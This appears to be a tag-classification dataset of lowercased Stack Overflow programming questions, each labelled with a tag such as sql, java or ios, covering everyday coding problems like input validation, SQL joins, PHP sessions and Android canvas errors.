how do i prevent continuation of the program if player inputs invalid selection   i created a text-based game to help improve my c++ skills since i am very new to it. i m trying to learn the basics n  all.    here is the program. in the switch statement  if a person were to select  3  it would broadcast an error saying you can only select  1  or  2 .  ** the issue is the program continues and doesn t make the person rechoose the selection. it goes right to difficulty selecting.    what method do i use to force the program to halt until player chooses valid selection      thanks!   <pre><code>#include &lt;iostream&gt; using namespace std;  int main() { cout &lt;&lt;  \twelcome to my text based game!\n ; char username[100]; cout &lt;&lt;  \nplease enter your username:  ; cin &gt;&gt; username; cout &lt;&lt;  hello    &lt;&lt; username &lt;&lt;  !\n\n ;  cout &lt;&lt;  please pick your race: \n ; cout &lt;&lt;  1 - human\n ; cout &lt;&lt;  2 - orc\n ; int pickrace; cout &lt;&lt;  pick your race:  ; cin &gt;&gt; pickrace;  switch (pickrace) {     case 1:         cout &lt;&lt;  you picked the human race.  &lt;&lt; endl;         break;     case 2:         cout &lt;&lt;  you picked the orc race.  &lt;&lt; endl;         break;     default:         cout &lt;&lt;  error - invalid input; only 1 or 2 allowed!  &lt;&lt; endl; }  int difficulty; cout &lt;&lt;  \npick your level difficulty: \n ; cout &lt;&lt;  1 - easy\n ; cout &lt;&lt;  2 - medium\n ; cout &lt;&lt;  3 - hard\n ;  cout &lt;&lt;  pick your level difficulty:  ; cin &gt;&gt; difficulty;  switch (difficulty) {     case 1:         cout &lt;&lt;  you picked easy  &lt;&lt; endl;         break;     case 2:         cout &lt;&lt;  you picked medium  &lt;&lt; endl;         break;     case 3:         cout &lt;&lt;  you picked hard  &lt;&lt; endl;         break;     default:         cout &lt;&lt;  error - invalid input  only 1 2 or 3 are allowed  &lt;&lt; endl; }  return 0; </code></pre>   },c++
is the javascript set data structure supported by all the browser   i am pretty new in javascript and i have the following doubt.    into a script i am using the <strong>set</strong> data structure. i don t understand if it is supported only by the latest browser version or also from the old version.    what can you say to me,javascript
how are constructor calls decided in java   i have a java class where there are two parameterized constructors   <pre><code>public class testapplication {      testapplication(object o)         {             system.out.println( object );         }          testapplication(double[] darray)         {             system.out.println( array );         }          public static void main(string[] args)         {             new testapplication(null);         } } </code></pre>   when i run this program i get output as  array . why does the object constructor not run,java
cross join in complicated query  how can i cross join the result of this query with itself     sql-fiddle: <a href= http://sqlfiddle.com/#!2/88f5e2/2  rel= nofollow >http://sqlfiddle.com/#!2/88f5e2/2</a>   <pre><code>select t.tid  count(*) as count from taxonomy_index t  join taxonomy_term_data td on td.tid = t.tid where t.created &gt; unix_timestamp() - 3 * 86400 and td.vid = 1 group by t.tid order by count desc limit 0  5; </code></pre>   the query result is:   <pre><code>tid count 4429    6 2634    5 1703    4 1742    4 4468    4 </code></pre>   i need:   <pre><code>4429    4429       6 2634    4429       5 1703    4429       4 1742    4429       4 4468    4429       4 4429    2634       . 2634    2634       . 1703    2634       . 1742    2634 4468    2634 4429    1703 2634    1703 1703    1703 1742    1703 4468    1703 ....        .... </code></pre>,mysql
split this query <pre><code>    $sql=   select tbl_doctors. *           tbl_specialisation. *           tbl_doctor_address.addr_id          tbl_address .  *  from `tbl_doctors` inner join      `tbl_specialisation`      on ( tbl_doctors.dr_spec_id = tbl_specialisation.spec_id ) inner join      (tbl_doctor_address join       tbl_address       on tbl_doctor_address.addr_id = tbl_address.addr_id      )      on tbl_doctors.dr_id = tbl_doctor_address.dr_id   where tbl_doctors.dr_id =  $id  ; </code></pre>,sql
multiple audio files on html page  need for only one to play at a time  i have multiple audio files that play when clicked using the following javascript code:    function playsound(el soundfile) {   <pre><code>          if (el.mp3) {               if(el.mp3.paused) el.mp3.play();               else el.mp3.pause();           } else {               el.mp3 = new audio(soundfile);               el.mp3.play();           }       } </code></pre>   the problem is that when two are clicked both audio files will play simultaneously.  i need for the first audio file to stop playing when the second is clicked.    what do i need to add to this code.,javascript
sql using sum command with  in  clause  i have sql tables listed as picture below.    <img src= https://i.stack.imgur.com/zrsbp.png  alt= enter image description here >    and my query is :   <pre><code>       select * from tblorderdetails where orderid in            (select orderid from tblorders where customerid = 523456) </code></pre>   which returns values from tblorderdetails like    <img src= https://i.stack.imgur.com/0q3tr.png  alt= enter image description here >    query brings all sale details for selected customer as expceted. but i want to use sum on rows which has same productid. expected output should look like this :    <img src= https://i.stack.imgur.com/v8hob.png  alt= enter image description here >    rows with same productid  quantity and price gets summed and also rows are merged. but it must be done within selected customerid.    i ve tried sum command with many different ways but can t get it to work. please suggest. thanks.,sql
asp.net creating/adding items to array of custom objects  i.e. if i am creating an array as such   <pre><code>        dim weblinesarray() as orderservice.webdirect_weblinesrow </code></pre>   how can i add items to this array i.e. i want add an item as such   <pre><code>dim webline as new orderservice.webdirect_weblinesrow                 webline.orderqty = quantity                 webline.productcode = productid                 webline.linenumber = 1                 weblinesarray.add or something (webline) </code></pre>   just that last line i cant figure out how i can add items to the array,asp.net
no default constructor exists for class (c++ classes) <pre><code>#include&lt;iostream&gt;  #include&lt;string&gt;  using namespace std;  #ifndef tictac_h #define tictac_h  class tictac { public:     tictac(int  int);     void setpos(int);     void getpos(int);     void setpos2(int);     void getpos2(int);     bool takepos();     void setar(int&amp;  int&amp;);     void setarr();     void all(int int);     void print();     int test();  private:     int p1;     int p2;     string tic[3][3] ;     string x;     string o;     int t1;     int t2;     bool ok; }; #endif </code></pre>   **the compiler shown this message :  no default constructor exists for class  tictac      tictac  : no appropriate default constructor available  can  anybody help me to fix this problem **,c++
inserting data from primary key to foreign key  i have 2 tables that have the common column this is what i used:   <pre><code>insert into smite (id)    select id from smitetournaments      where smite.tournament=smitetournaments.tname; </code></pre>   smite(id) is the foreign key and id from smitetournaments is the primary     tournament has the same values as tname but tournament has many repetetions    when i query i get    <pre><code>error code: 1054. unknown column  smite.tournament  in  where clause  </code></pre>,sql
not reading each line of text file  i am trying to write a program that reads a line from a text document and prints the verbal equation into a mathematical one  but for some reason it is only reading the second and last lines of the txt file.      text example   <pre><code>subtraction 3 57 multiplication 90 46 division 26 7 division 26 0 </code></pre>   code   <pre><code>int main() {   char name[21]  namecopy[21];   char *nc  com = 100;   int num1  num2  p  i;   file *file;    file = fopen( c:\\hw10.txt    r );   strcpy(namecopy  name);    while (fgets (namecopy 21 file)!=null)   {     fscanf(file   %[^ ]%*c %i%*c %i%*c   &amp;name  &amp;num1  &amp;num2);     printf( %s %i %i\n   name  num1  num2);           if( strcmp( name   subtraction  ) == 0 )     {       p = num1-num2;       printf( %d - %d = %i \n   num1  num2  p);     }      if( strcmp( name   addition  ) == 0 )     {       p = num1+num2;       printf( %d + %d = %i \n   num1  num2  p);     }      if( strcmp( name   multiplication  ) == 0 )     {       p = num1*num2;       printf( %d x %d = %i \n   num1  num2  p);     }      if( strcmp( name   division  ) == 0 )     {       if(num2==0)          printf( undefiend\n );       else       {         p = num1/num2;         printf( %d / %d = %i \n   num1  num2  p);       }     }   }   char ch=getchar();   return 0; } </code></pre>,c
nsxmlparser : not retrieving correct data if there are special characters or italics  i am using nsxmlparser to parse an xml for url. some of the elements contains special characters in text and also italics.   <ul> <li>please find the below xml element with italic tags in text:</li> </ul>  <blockquote> <pre><code>&lt;name&gt;verify settings&lt;i&gt;i&lt;/i&gt;patch level&lt;/name&gt; </code></pre> </blockquote>   nsxmlparser breaks the text and gives <strong>output:</strong> verify settings    is there any way to parse italics text in between elements    <ul> <li>please find the xml with special characters below :</li> </ul>  <blockquote> <pre><code>&lt;impact&gt; in 2003  the ¿shared appl_top¿ architecture was introduced  which allowed the sharing of a single appl_top  however the tech stack  ·  reduced disk space requirements   ·  reduced maintenance  ·  reduced administrative costs   ·  reduced patching down time   ·  less complex to add additional nodes  making scalability easier  ·  complexity of instance reduced   ·  easier backups   ·  easier cloning&lt;/impact&gt; </code></pre> </blockquote>   it breaks the text and gives <strong>output:</strong> e costs ·reduced patching down time ·less complex to add additional nodes  making scalability easier ·complexity of instance reduced ·easier backups ·easier cloning    any suggestions on how to parse italic tags in the text and special characters using nsxmlparser     <hr>   here is my <code>foundcharacters</code> code:   <pre><code>- (void)parser:(nsxmlparser *)parser foundcharacters:(nsstring *)string {     if (!self.currentstringvalue) {     // currentstringvalue is an nsmutablestring instance variable     self.currentstringvalue = [[nsmutablestring alloc] init]; } [self.currentstringvalue appendstring:string]; }  </code></pre>,ios
system.web.services.protocols.soapexception: server was unable to process request. accpac.advantage.sessionexception  i work  with visual studio 2010 web application and push data in sage 300 using accpacc  it worked smoothly  before.but last two days it give an error as shown on picture.but my user id  password  company id are all correct.    here is the error:   <blockquote>    system.web.services.protocols.soapexception: server was unable to   process request. ---> accpac.advantage.sessionexception --->   system.runtime.interopservices.comexception (0xe0000004): invalid   signon information.        make sure you supply the correct user id and password.   at   accpaccomsvr.accpacsvrsessionclass.open(string useridentifier  string   password  string database  datetime sessiondate  int32 flags  string   reserved  boolean checkstatus  byte[]&amp; sessioninfo)   at   accpac.advantage.server.session.open(string userid  string password    string orgid  datetime sessiondate  int32 flags  boolean checkstatus)    --- end of inner exception stack trace ---   at accpac.advantage.server.session.open(string userid  string password    string orgid  datetime sessiondate  int32 flags  boolean checkstatus)    at accpac.advantage.session.open(string userid  string password    string companyid  datetime sessiondate  int32 flags)   at   accpac.util.glutil.getaccpacsession()   at   accpac.util.glutil.savegl(datatable _dt)   at   ws.accpac.service1.accpacintegration(dataset _ds  string _module) in   d:\projects\lms\ws.accpac\service1.asmx.cs:line 26   --- end of inner   exception stack trace ---  </blockquote>   <a href= https://i.stack.imgur.com/bxjmr.png  rel= nofollow noreferrer >enter image description here</a>,.net
mysql4 -> mysql5: left join and implicit join in one query does not work any longer  after upgrading a mysql from 4.1 to 5.6 (with no problems)  the problems come when trying to execute the queries:   <pre><code>select *  from table1  anothertable     left join thirdtable on table1.id=thirdtable.id          and thirdtable.town=anothertable.town  where table1.id=8 and anothertable.id=table1.id; </code></pre>   ends in the error message:   <blockquote>    unknown column  table1.id  in  on clause   </blockquote>   the same query worked perfectly on 4.11. - any hints what to do  to make the queries work again  the problem is: there are a lot of queries to rewrite - and they are more complex then the example (which is stripped down to the problem). so it would be nice to find a mysql-server solution.    thanks for any hints.,mysql
printing variable headers  i want to print these headers to get longer/shorter when the length of the string changes. i have no real idea how i would do this  i thought i could use len() and print a number of  =  depending on the length of them but it didn t turn out as expected.   <pre><code>+==========================+ | running: hba_test | skipping: abort/ basic sanity  delayedabort/ abort control list  +==========================+ +==========================+ | skipping: sdt_test +==========================+ </code></pre>   these are the headers and this is the code used to generate them currently.   <pre><code>    #print header to seperate tests     l1 = len(x)     l2 = len(y)      print  +==========================+      if disable:         print  | skipping: %s   % x     else:         print  | running: %s   % x         if  disable=  in test:            print  | skipping:%s   % y      print  +==========================+  </code></pre>,python
how to add uilabel value with new value from the picker view  i have <code>uitableviewcell</code> and add a <code>uilabel</code> on it.  i am displaying the value on <code>uilabel</code> from <code>uipickerview</code>. i am doing this task with this code:   <pre><code>(void)pickerview:(uipickerview *)pickerview didselectrow: (nsinteger)row incomponent:(nsinteger)component {    nslog(@ row selected:%ld   (long)row);    value = _countingarray[row];     value = [nsstring stringwithformat:@ %d  [value intvalue] +   [_countingarray[row] intvalue]];     [self.mytableview reloaddata];    [self hidepickerview]; } </code></pre>   but when i execute it  <code>uilabel</code> value increased on other <code>uitablviewcell</code> too.    can you help me how to update <code>uilabel</code> values individually according to the cell selected. this is my whole code for my all functionality.   <pre><code>(uitableviewcell *)tableview:(uitableview *)tableview cellforrowatindexpath:(nsindexpath *)indexpath {     static nsstring *identifier = @ cell ;      uitableviewcelltableviewcell *cell = [tableview dequeuereusablecellwithidentifier:identifier forindexpath:indexpath];      if(position == indexpath.row){         int row;         value = [nsstring stringwithformat:@ %d  [value intvalue] + [_countingarray[row] intvalue]];         cell.namelabel.text = value;         nslog(@ %@   value);     }else{         cell.namelabel.text = @ value ;     }     nslog(@ position :- %ld   %d   (long)indexpath.row  position);      return cell; } </code></pre>   this is tableview cell code where i want to update the value and below code is for picker view.   <pre><code> (void)pickerview:(uipickerview *)pickerview didselectrow:  (nsinteger)row incomponent:(nsinteger)component   {      nslog(@ row selected:%ld   (long)row);     value = _countingarray[row];      value = [nsstring stringwithformat:@ %d  [value intvalue] +              [_countingarray[row] intvalue]];      [self.mytableview reloaddata];     [self hidepickerview];     } </code></pre>,ios
jquery image transitions  i can t seem to grasp what i have to do here. i m trying my hand at creating a simple image slideshow  and i m trying to figure out how to make it work. it s not running through my for loop  and i can t see why. here s a fiddle of my code: <a href= http://jsfiddle.net/xnegt/  rel= nofollow >http://jsfiddle.net/xnegt/</a>.,jquery
defining script and controller in route  currently i add my controllers in <code>index.html</code> with just a normal <code>script</code> tag like so   <pre><code>&lt;script src= js/controllers/admin/languages.js &gt;&lt;/script&gt; </code></pre>   i was wondering if it s possible to to tell the state that i want to include this script so that i don t have to add all my controller script in the index.   <pre><code>.state( admin.languages   {     url:  /languages       templateurl:  views/admin/languages.html  }) </code></pre>   this is what my state looks like now.    thank you.,angularjs
how to show server and user time in php   i have a page that shows some info and the date it was created (server time). i need some method to display the date in both server and user time.    example:<br> oct  26 13:48:23 (server)<br> oct  26 14:48:23 (your time) -> info    what i have so far:   <pre><code>&lt; php     $sql=mysql_query( select * from table ) or die( come back later );     while($row=mysql_fetch_array($sql)) {         echo date( m  d h:i:s   strtotime ($row[ date ])).  -&gt;  .$row[ info ];     }  &gt; </code></pre>   thank you.    <strong>edit:</strong> i think i did not explain this right. the date is stored in the database (the date is a point in the future for a future event) and i want to show the date in user timezone.    for example  something s going to happen day 26 at 12:10:22 (server time) and i want to show a conversion to user time to make things easier for them.    <strong>edit 2</strong> example:  with the diffence i want to detect user timezone.,php
is it ok to put html comments outside the <html> tags   w3c validator didn t ding me on this  but i was curious if anyone else had an opinion on placing html comments outside of the html tags    <pre> ... &lt;/body&gt; &lt;/html&gt; &lt;!-- byee --&gt; </pre>   i have an application and am outputting some data and want it to be the absolute last thing that is done  which unfortunately means i ve already attached my last &lt;/html&gt;.,html
how are typeof and sizeof implemented  i want to know how the <code>typeof</code> and <code>sizeof</code> keywords are implemented.     what if i want to implement my own <code> x of()</code> expression like <code>timeof(object)</code> where <code>object</code> contains a <code>datetime</code> as one of it s properties or something,c#
underflow in restore in android 4.3  i m getting a <strong>illegalstateexception: underflow in restore exception </strong> which is causing my application to crash. this started happening after android 4.3 update. on android 3.0 - 4.2.x it works fine.    the exception happens on the second   <pre><code>canvas.restore(); </code></pre>   given below is my drawing code   <pre><code>private void dodraw(canvas canvas) {         if(mtickerbackground!=null &amp;&amp; (!mtickerbackground.isrecycled())){             canvas.drawbitmap(mtickerbackground  0  0  null);         }         if((mbitmapbuffer!=null)){             canvas.save();             canvas.translate(mx  0);             if(!mbitmapbuffer.isrecycled()){                 canvas.drawbitmap(mbitmapbuffer  0  0  null);             }             canvas.restore();              if(bitmapwidth+mx&lt;mcanvaswidth){                 canvas.translate(bitmapwidth+mx  0);                     if(!mbitmapbuffer.isrecycled()){                     canvas.drawbitmap(mbitmapbuffer  0  0  null);                 }                 canvas.restore();                                }              if(bitmapwidth+mx&lt;=0){                 mx = 0;             }else if(math.abs(mx)&gt;(bitmapwidth)){                                    mx= mcanvaswidth;              }              mx-=tickerconstants.scrolling_smoothness*density;;         }         if(mlogo!=null &amp;&amp; (!mlogo.isrecycled())){             canvas.drawbitmap(mlogo  mcanvaswidth-(60*density)  mlogo.getheight()/6  null);         }     } </code></pre>   my question is   <ol> <li>what is the meaning of this error </li> <li>how do i fix this error </li> </ol>   stack trace message generated is . line 165 corresponds to second canvas.restore()   <blockquote>    08-13 18:13:09.083: e/androidruntime(14139): fatal exception:   thread-506 08-13 18:13:09.083: e/androidruntime(14139):   java.lang.illegalstateexception: underflow in restore 08-13   18:13:09.083: e/androidruntime(14139):    at   android.graphics.canvas.restore(native method) 08-13 18:13:09.083:   e/androidruntime(14139):  at   com.my.package.name.ticker.tickersurfaceview$tickerthread.dodraw(tickersurfaceview.java:165)   08-13 18:13:09.083: e/androidruntime(14139):  at   com.my.package.name.ticker.tickersurfaceview$tickerthread.run(tickersurfaceview.java:128)  </blockquote>,android
aueffectbase.h onios in xcode   is it possible to use aueffectbase.h on ios xcode 4.2  i m trying to use it in a cpp file and it s telling me it does not exist. do i need to get another framework or can i not use this  i am new to xcode.     thanks,ios
stuck on sql assignment  <strong>the question</strong>   <blockquote>    which customers placed orders at store number 1 in the 4th quarter of 1995     display the customer id  first and last name  city and state.  list in ascending customer id order.  </blockquote>   <strong>what i have so far</strong>   <pre><code>select person.id  person.firstname  person.lastname  person.city  person.state from person inner join order_header on person.id=order_header.customer_id where store_number = 1  order by customer_id asc </code></pre>   <strong>where i am stuck</strong><br> the 4th quarter of 1995 part  and how i integrate it with what i already have.    any help or advice would be greatly appreciated  i freely admit i have no idea what i am doing.    tables.   <hr>   person   <pre><code>    [id]     [lastname]     [firstname]     [mi]     [street]     [city]     [state]     [zip]     [area_code]     [phone_number] </code></pre>   order_header   <pre><code>   [invoice_number]    [store_number]    [customer_id]    [account_number]    [order_date]    [est_delivery_date]    [delivery_date]    [amount_due] </code></pre>,sql
making my first webpage  how to remove .html from the page address   i am working on my first web page and am developing it using c9.io as my development environment (good for working with teams on small stuff).    i am trying to achieve navigation in my site by linking to different html pages (a help page).    i was trying to have a contact page by having   <blockquote>    mysite.com/help  </blockquote>   and i have a html page called    <blockquote>    help.html.  </blockquote>   trying to navigate to my site i see i cannot access mysite.com/help but instead i can navigate to mysite.com/help.html.     at least in c9 removing the .html in the name makes it not recognize as a html file  but is that the solution i need or there something else going on     thanks,html
"for each activity  show the volunteer highest number of points  <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>create database e_volunteersy;
 
 use e_volunteersy;
 create table participate_in
 (  v_id int(4) primary key 
   ename  char(20) 
   points int(255) 
         aname char(20)
 );
 
 insert into participate_in
 values 
 (1001  name1  10  a ) 
 (1002  name2  3  a ) 
 (1003  name3  11  b ) 
 (1004  name4  3  b ) 
 (1005  name5  4  b );</code></pre>
 </div>
 </div>
     how can i wright a query that return the highest point for aname a and aname b. aname meant activity name .",sql
python can we override a method by inheriting 2 class <pre><code>class a(object):      def print_some(self):         print  a   class b(object):      def print_some(self):         print  b   class c(a  b):     pass  c = c() print c.print_some()  a  </code></pre>   what i expect of the output is  b . the reason i want to do this is because i want to override some method  let s say <code>form_valid</code> from <code>createview</code> in django  simply by inheriting a class i write containing custom <code>form_valid</code>  or there are better approaches,python
string indices must be integers  error when scraping json in python  so i m trying to grab some data from a website. the url is    <pre><code>https://rbx.rocks/apis/item id=1285307 </code></pre>   so right now i got   <pre><code>print requests.get( https://rbx.rocks/apis/item id=1285307 ).json()[0][ stats ] </code></pre>   if ran  it gives the error   string indices must be integers      i m currently running python 2.7,python
error in caling a method. (java)  in this program i want to show pascals triangle using users  input. but there is an error. what is the error in calling pascaltriangle method  (the error says  multiple markers at this line). how can i fix this  thanks in advance.    <pre><code>import java.util.scanner;  public class pascal{     static int userinput=0; static scanner myscanner= new scanner(system.in);  public static void main(string[] args) {     prln( give pascals  triangles length: );     int userinput=myscanner.nextint();     if(userinput&gt;0){             pascalstriangle(userinput);     } }       static void pascalstriangle(int a){         int pascal[][]= new int[a][a];         for(int c=0;c&lt;a;c++){             pascal[0][c]=1;             pascal[c][0]=1;         }         for(int row=1;row&lt;a;row++){             for(int column=1;column&lt;(a-row);column++){                 pascal[row][column]=pascal[row-1][column]+pascal[row][column-1];             }         }         for(int row=1;row&lt;a;row++){             for(int column=1;column&lt;(a-row);column++){                 pr(pascal[row][column]+ \t );             }             prln( \n );         }      }     public static void pr(object cop)   {     system.out.print(cop); } public static void prln(object c6op)    {     system.out.println(c6op); }  } </code></pre>,java
objective-c create variables in a loop  is there a way to create variables inside of a loop. basically something like this  except that the variables variable1  variable2 and variable3 would exist.   <pre><code>int x;  for (x = 1; x &lt; 4; x++) {    int variable[x];     variable[x] = x; } </code></pre>,objective-c
flexible css button (variable width and markup)  i m trying to create a flexible css button  styled with only one image (or two  using the sliding door technique) but i want it to be flexible enough for multiple markup to have the same effect. for example:    <pre><code>&lt;a href=  &gt;button&lt;/a&gt; </code></pre>   would have the save effect as:   <pre><code>&lt;input type= submit  value= button  /&gt; </code></pre>   any ideas or tuts laying around,css
why i decided to start with angularjs instead of angular 2  i am clarifying this question after i have been developing spa for the past 5 months using angualrjs. in the beginning  i was researching if i should start with angular 2 instead.     during my research  i came across this article:    <a href= https://angular.jsnews.io/why-learning-angular-2-was-excruciating/  rel= nofollow noreferrer >https://angular.jsnews.io/why-learning-angular-2-was-excruciating/</a>    <a href= https://hackernoon.com/why-learning-angular-2-was-excruciating-d50dc28acc8a  rel= nofollow noreferrer >https://hackernoon.com/why-learning-angular-2-was-excruciating-d50dc28acc8a</a>    i then realized that i have faced a lot of the issues referenced in that article.    also  when i started with the offical angular websites <a href= https://angularjs.org/  rel= nofollow noreferrer >https://angularjs.org/</a> and <a href= https://angular.io/  rel= nofollow noreferrer >https://angular.io/</a> and followed the recommendation:    <a href= https://i.stack.imgur.com/qxmbr.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qxmbr.png  alt= angular official website recommendation ></a>    i spent several days using the various resources learning angular 2 based on the above websites and faced a lot of difficulties. i remember i started with this 5 min quickstart:     <a href= http://a2.hubwiz.com/docs/ts/latest/quickstart.html  rel= nofollow noreferrer >http://a2.hubwiz.com/docs/ts/latest/quickstart.html</a>    which took me several hours to complete  with several scary error messages in red color.    later  i started using other resources such as w3schools.com and stackoverflow.com  and i see mostly reference to script tag as follows:    <code>&lt;script src= http://ajax.googleapis.com/ajax/libs/angularjs/1.4.8/angular.min.js &gt;&lt;/script&gt;</code>    which is clear that it was referencing angularjs. finally  i realized that learning angular 2 to start taking advantage of the newly added feature  will cost me a lot of time and effort. finally  i decided to stay with angularjs especially i was able to find a solution to each and every business requirement for the complex forms application development i was working on.    also  i read the other post which is suggested as an answer for my question. what is mentioned there is that angular 2 is in developer preview:    <a href= https://i.stack.imgur.com/m9gbu.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/m9gbu.png  alt= angular 2 is in developer preview ></a>    however  the official websites doesn t mention that. so  the post above is not relevant anymore and i cannot depend on it.    so my recommendation  if you have enough time to spend in learning angular 2 and deal with the issues that might show-up then of course this is the recommended path  otherwise  best to stay with angualrjs.     tarek,angularjs
sessions: using a user input variable for multiple php pages  i m trying to study php and i m already on the sessions part where i want to input something on my first page that would then be an output for the second page    1stpage.php   <pre><code>&lt; php session_start(); &gt;     &lt;form method= post &gt;      enter a number: &lt;input type= number  name= num1  min= 1  max= 20   value= &lt; php echo $_session[ $num1 ]; &gt; &gt;         &lt;a href = 2ndpage.php &gt;               &lt;input type= button  name= select  value= select &gt;         &lt;/a&gt; &lt;/form&gt; </code></pre>   2ndpage.php   <pre><code>&lt; php     session_start();     echo $_session[$num1];  &gt; </code></pre>   well  it does nt work and i m getting lots of undefined index error. any fix        guys  thanks in advance.,php
function to initialize variables in c  i should use a function to assign initial values to variables  but don t understand why the init function in my code doesn t initialize the a  b  c  it gives some garbage numbers. also i should use a rotate function using a static declaration of variables a  b  c   but since its static it doesn t swap variables. how i do that    <pre><code> void init(int num1  int num2  int num3);   int main(void){   int a  b  c;     init(a  b  c);     printf( a=%d  b=%d   c=%d\n   a  b  c);   rotate();   return 0;  }   void init(int num1  int num2  int num3){   printf( enter value for num1:  );  scanf( %d  &amp;num1);  printf( enter values for num2:  );  scanf( %d  &amp;num2);  printf( enter values for num3:  );  scanf( %d  &amp;num3);  }   void rotate(void){ static int a b c; int temp; temp=a; a=b; b=c; c=temp;} </code></pre>,c
converting string to integer is throwing an error at me :(  im trying to convert a string to an integer as shown below:   <pre><code>import java.util.scanner; import java.lang.*; public class assignment4 {     public static void main(string[] args)     {         // introduce program         system.out.println( \n======================== );         system.out.println( card number verification );         system.out.println( ========================\n );         system.out.println( enter 16 digit card number (no spaces):  );          scanner sc = new scanner(system.in); // initialize scanner          // intialize any relevant variables         int sum = 0; // sum for all digits in card number         int new_card_number; // relevant variable          string card_string = sc.nextline(); //get users card number         int length = card_string.length(); // get length of number          // verify that it is 16 numeric characters         if (length != 16 || card_string.matches( \\d+ ) == false)                {                system.out.println( restart the program and enter a valid card    number. );             system.exit(0);         }         int card_number = integer.parseint(card_string.trim());         new_card_number = card_number; // ensures card_number doesnt change         while (length &gt; 0)         {             sum = sum + (new_card_number % 10);             new_card_number = (new_card_number - (new_card_number % 10)) / 10;             length--;             system.out.println(new_card_number + sum);          }     } } </code></pre>   and heres the error i m getting:   <pre><code>======================== card number verification ========================  enter 16 digit card number (no spaces):  1234123412341234 exception in thread  main  java.lang.numberformatexception: for input string:  1234123412341234      at java.lang.numberformatexception.forinputstring(numberformatexception.java:48)     at java.lang.integer.parseint(integer.java:461)     at java.lang.integer.parseint(integer.java:499)     at assignment4.main(assignment4.java:28) </code></pre>   i ve tried using the trim option or just entering the string variable directly as  integer.parseint(card_string) .  why am i still receiving this error,java
mysql union merge duplicate rows in two tables  i am looking to combine two tables where table a (multiple_choice) contains the majority of survey answers and table b (free) contains only text response answers. however  there are entries in table a and b for certain questions.    my current method is using union all in order to merge the data in the two tables but includes two rows for what i want to be one row.    is there a way to take the duplicates based on question id from both tables and merge the rows where have table a has a value in column <em>multianswer</em> and table b has a value in column <em>response</em>     here is my statement:   <pre><code>select sid  qid  group_concat(multianswer)  response  from multiple_choice group by sid  qid  union all  select sid  qid     as multianswer  response  from text_response  group by sid </code></pre>   tables:   <pre><code>table a multiple_choice sid   qid  multianswer  response 1001  1    1 1001  2    3 1001  2    4 1001  2    5                                 1001  3    6            college 1001  5    1  table b text_response sid   qid  response 1001  1    email@domain.com 1001  4    it is of no use to me 1001  5    another other response </code></pre>   desired result:   <pre><code>sid   qid  multianswer  response 1001  1    1           email@domain.com 1001  2    3 4 5 1001  3    6           college 1001  4                it is of no use to me 1001  5    1           another other response </code></pre>   code result:   <pre><code>sid   qid  multianswer  response 1001  1    1 1001  1                email@domain.com 1001  2    3 4 5 1001  3    6           college 1001  4                it is of no use to me 1001  5    1 1001  5                another other response    </code></pre>,mysql
iphone/ipad downloading and playing simultaneously  i want to download and streaming and downloading the video simulteniouslly by app. there video are heavy so converted into m4u8 format and using the vod live streaming cocept to play them in mpmovieplayer. how to download there live streaming video simulteniouslly with palying . can you suggest me.,ios
url.originalstring vs url.absoluteuri  what is the difference between httpcontext.current.request.url.originalstring and httpcontext.current.request.url.absoluteuri     i need to get the url in the page load  but confused about the both.,asp.net
clarification of a some code  i have come across a website that appears to use ajax but does not include any js file except one file called ajax.js which has the following:   <pre><code>function run(c  f  b  a  d) {     var e = null;     if (b &amp;&amp; f) {         document.getelementbyid(b).innerhtml = f     }     if (window.xmlhttprequest) {         e = new xmlhttprequest()     } else {         if (window.activexobject) {             e = new activexobject(microsoft.xmlhttp)         }     }     e.onreadystatechange = function () {         if (e.readystate == 4) {             if (e.status == 200 || e.statustext ==  ok ) {                 if (b) {                     document.getelementbyid(b).innerhtml = e.responsetext                 }                 if (a) {                     settimeout(a  0)                 }             } else {                 console.log( ajax error:    + e.status +   |   + e.statustext);                 if (b &amp;&amp; d != 1) {                     document.getelementbyid(b).innerhtml =  ajax error.  please try refreshing.                  }             }         }     };     e.open( get   c  true);     e.setrequestheader( content-type    application/x-www-form-urlencoded );     e.send(null) } </code></pre>   like you might have guessed  the way it issues queries inside the page with queries like this:   <pre><code>run( page.php  loadingtext  ajax-test    loadsamples() ); </code></pre>   i must admit that this is the first time i ve seen a page from which i could not figure how things are being done. i have a few questions:   <ul> <li>is this server-side ajax or something similar  if not  can someone clarify what exactly is this </li> <li>why does one use this  is it for hiding the design details  (which are otherwise revealed in plain text by javascript) </li> <li>how difficult would it be to convert my existing application into this design pattern  (maybe a subjective question but any short suggestion will do)</li> </ul>   any suggestions,javascript
how to give table width and height in millimeters in html  is there a way to give html table width and height in millimeters    <pre><code>&lt;table border= 1 &gt;  &lt;tr width= 17mm &gt;         &lt;td&gt;gukgu&lt;/td&gt;         &lt;td&gt;gukgu&lt;/td&gt;  &lt;/tr&gt; &lt;/table&gt;  </code></pre>   is this works,html
my code for determining whether prime number exist between intervals is flawed  i wrote code for determining whether arbitrary conjectures claiming there are prime numbers in an interval have counter-examples.    i put in the arbitrary intervals n<em>n and (n+1)</em>(n+1) which should be correct as it is a famous conjecture.   <pre><code>for (int n = 0; n &lt; 100000; n++) { int m = 0;    for (int i = n*n; i &lt;= (n+1)*(n+1); i++)    {       int k = 0;       for (int j = 2; j &lt;= math.sqrt(i); j++)       {          if ((i % j) == 0)          {             k+=1;             break;          }       }       if (k == 0)       {          m+=1;          break;       }    }    if (m == 0)    {       system.out.println( the conjecture has been disproven for n =   + string.valueof(n));    } } </code></pre>   it spat out the  counter examples  n = 46340 and n = 80264.    are there any problems with this code  when i claimed over on mse that there were counter-examples  i was told primes do exist. so it s clearly flawed. i m just not sure if this is an internal issue with java s implementation of modulo or if my code has a bug.,java
trace.writeline in release mode   can i use trace.writeline in release mode     and what is the main difference between trace.write and debug.write,.net
